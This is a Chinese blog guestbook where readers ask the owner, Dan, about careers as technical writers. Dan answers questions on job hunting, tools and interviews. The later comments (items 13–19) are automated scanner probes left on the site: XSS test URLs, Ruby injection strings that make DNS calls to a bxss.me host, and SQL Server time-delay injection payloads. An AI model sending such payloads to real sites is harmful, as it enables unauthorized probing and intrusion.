留言本

欢迎在此页面给我们留言。
  1. 范鹏程 的头像 范鹏程 说:
    文先生:

    我是中国电信国际有限公司产品部负责人,急需招聘中英文都很好的技术文档工程师,能帮我推荐一些人才吗?

    谢谢!

    范鹏程
    Dan 于 2014-11-4 21:15:12 回复
    你好,不知道这个职位是在哪个城市呢?
    范鹏程 于 2014-11-15 10:58:45 回复
    谢谢回复!在北京,办公地点朝阳门北大街19号。
    范鹏程 于 2014-11-15 11:00:52 回复
    在香港和深圳也可以。
  2. Julie 的头像 Julie 说:
    Dan,
    你好,我是英语专业的,目前从事的是技术型翻译。不知做这个技术文档工程师有没有可能呢?看中一家公司的招聘,超向往呢。求指点啊!
    Dan 于 2014-11-7 10:04:44 回复
    Hi Julie, 当然有可能啊,很多 TW 都是英语专业的,我本人也是,呵呵。而且你从事技术翻译,说明你比较喜欢技术内容而且能够理解技术内容。所以应该还是有机会的。
  3. Jamie 的头像 Jamie 说:
    Dan,

    我也是英语专业的,毕业后做了一年英语客服,做了一年多助理兼翻译,现在想做技术文档工程师,但是自己没有相关经验,也没有技术背景,请问该如何准备才能使自己具备TW的素质,获得面试及工作机会呢?谢谢!
    Dan 于 2015/3/9 13:47:29 回复
    Jamie, 你对学习和理解技术内容有兴趣吗?如果真的想做技术文档工程师,从你的背景来看,可以先找一些初级的职位,积累一些经验。这类职位的要求一般不会很高,英文好,懂得一些技术写作风格的基本规则(用于笔试,这个看看一些style guide或者看看我博客里的一些实例),然后具较好的沟通能力和学习能力,基本上获得初级TW的工作机会我觉得是够了。
  4. Betty 的头像 Betty 说:
    Dan前辈:
    今天我去参加了技术文档工程师的面试,说实话,英专背景的我对于技术这一块很感兴趣。但是虽然前期做了很多的准备,但是表现不佳。因为问题主要集中在文档风格,工具的具体使用上。我在网上找到的有效资料很少,在你的博客里看了很多,但是由于时间的关系都没有太深入的去了解。再加上口语也不好,真是活活的错过了机会。
    我在成都,对于技术写作十分感兴趣。因为这不同翻译,需要学习的东西更多,相应地人的能力也能够更大的提升。Dan,我想问一下,在手里没有具体项目的前提下,我该怎么去学习这些工具呢?我自己尝试着在看,但是没有目标的感觉。还有如果说找不到这方面的工作,进入翻译公司去做IT本地化的话,以后这些经验对于应聘有用吗?
    Dan 于 2015/4/23 12:38:46 回复
    Betty, 技术写作的工具很多, 没必要都去了解,一般工具也不是 TW 招聘时考察的重点。用过其中一两个就可以了,比如 FM,Arbortext Editor, Madcap Flare,甚至是MS Word。 因为每个公司用的工具不一样,都有培训的,上手不会难。

    至于去翻译公司做 IT 本地化,只能说是有间接的帮助(英文水平和对 IT 产品的学习理解能力),毕竟一个是写,一个是翻译,还是不一样的。
  5. Betty 的头像 Betty 说:
    Dan:
    谢谢你能够回复我。找工作这一段时间来真的是特别迷茫。一直想要进入某一个行业,不想进入翻译公司,但是在成都遇到的机会太少。我也在想是不是因为自己不够好,尝试了很多都失败了。
    技术文档这个很多都要求经验,我也只有先去找其他的机会了。谢谢你哈。祝你的博客能够越办越好。
    Dan 于 2015/4/28 10:01:29 回复
    没关系,总是会有有机会的,继续努力吧。祝你能够找到自己满意的工作。
    我的博客现在基本是属于休眠状态的,呵呵。
  6. kevinna 的头像 kevinna 说:
    感谢您的博客,今天下午去面试IBM Technical Writer,希望成功!
    Dan 于 2015/7/17 11:34:06 回复
    Kevinna, 加油,希望你能收到好消息。:p
  7. Nancy 的头像 Nancy 说:
    Hi Dan,

    我刚从大连理工大学毕业,软件工程专业,前几天被一个还不错的公司TW team录用,他们正在等着我的回复。但是我有些犹豫,我申请了加拿大学校的研究生,预计一年以后入学。由于我对TW还不是很了解,对选择在这家公司做TW还是继续深造拿不定主意。Dan能否从从业人的角度给一些分析及建议?
    Thanks in advance.
    Hoping for your reply.

    Nancy
    Dan 于 2015/08/27 10:35:34 回复
    Nancy 你好。一年后才入学,如果对 TW 有兴趣的话,现在可以先试一下啊。好像时间不冲突,一年后如果不喜欢还是可以选择去加拿大读研。

    如果有冲突的话,我就不好给建议了,因为我个人觉得去加拿大读研也是个不错的选择。
    Nancy 于 2015/08/27 10:52:53 回复
    谢谢Dan,我已经接受了这家公司的offer,很开心能成为一名准TW,希望Dan多多更新博客呀 :)

    Nancy[EMAIL][/EMAIL]
  8. 王慧琴 的头像 王慧琴 说:
    好开心啊,终于找到一个可以学习文档开发的网站了,我要把您的文章全看一遍!
    我是应届毕业生,2017年7月毕业,前段时间校招拿到了华为资料开发工程师的offer。我是自动化专业的,之前也没特别丰富的文档开发经验,所以想在入职前在网上找找相关学习资料。直到今天发现这个网址,甚是惊喜!
    支持支持!
    Dan 于 2017/06/06 15:51:51 回复
    谢谢支持~相信你在华为资料部可以学到很多东西~有机会也给大家分享一下~Haha
  9. Annabelle 的头像 Annabelle 说:
    Hi, the truth is that I'm not the only person who dig out all your blogs. That's pleasing and really helpful! thanks for all your efforts. But it's pity that you seldom update your bog these days and I‘m looking forward to have a closer communication with you, about technical writing and things like that.
  10. e 的头像 e 说:
    [QUOTE][/QUOTE][S][/S][U][/U][I][/I][B][/B][EMAIL=@][/EMAIL][EMAIL][/EMAIL][URL]说点什么吧...
  11. e 的头像 e 说:
    [QUOTE][%2FQUOTE][S][%2FS][U][%2FU][I][%2FI][B][%2FB][EMAIL%3D%40][%2FEMAIL][EMAIL][%2FEMAIL][URL%3Dhttp%3A%2F%2F][%2FURL][URL][%2FURL]说点什么吧...
  12. ncMUFCMU 的头像 ncMUFCMU 说:
    1[URL][/URL][URL=http://][/URL][EMAIL][/EMAIL][EMAIL=@][/EMAIL][B][/B][I][/I][U][/U][S][/S][QUOTE][/QUOTE]HahaHeheLoveMisdoubtMusicNothing_to_saySadShameSleepSmileStopWhatAdoreAfter_boomAngryCoolCryEffortFaintGrimace
  13. gBqsPxAZ 的头像 gBqsPxAZ 说:
    HttP://bxss.me/t/xss.html?%00
  14. gBqsPxAZ 的头像 gBqsPxAZ 说:
    bxss.me/t/xss.html?%00
  15. gBqsPxAZ 的头像 gBqsPxAZ 说:
    "+"A".concat(70-3).concat(22*4).concat(110).concat(79).concat(105).concat(68)+(require"socket"
    Socket.gethostbyname("hitqr"+"teiagzhrb80b7.bxss.me.")[3].to_s)+"
  16. gBqsPxAZ 的头像 gBqsPxAZ 说:
    '+'A'.concat(70-3).concat(22*4).concat(120).concat(71).concat(111).concat(69)+(require'socket'
    Socket.gethostbyname('hitsv'+'yfxixyba7cd1c.bxss.me.')[3].to_s)+'
  17. gBqsPxAZ 的头像 gBqsPxAZ 说:
    -1); waitfor delay '0:0:15' --
  18. gBqsPxAZ 的头像 gBqsPxAZ 说:
    -1)); waitfor delay '0:0:15' --
  19. gBqsPxAZ 的头像 gBqsPxAZ 说:
    -1)); waitfor delay '0:0:15' --
  20. gBqsPxAZ 的头像 gBqsPxAZ 说:
    1[URL][/URL][URL=http://][/URL][EMAIL][/EMAIL][EMAIL=@][/EMAIL][B][/B][I][/I][U][/U][S][/S][QUOTE][/QUOTE]HahaHeheLoveMisdoubtMusicNothing_to_saySadShameSleepSmileStopWhatAdoreAfter_boomAngryCoolCryEffortFaintGrimace

留下评论/回复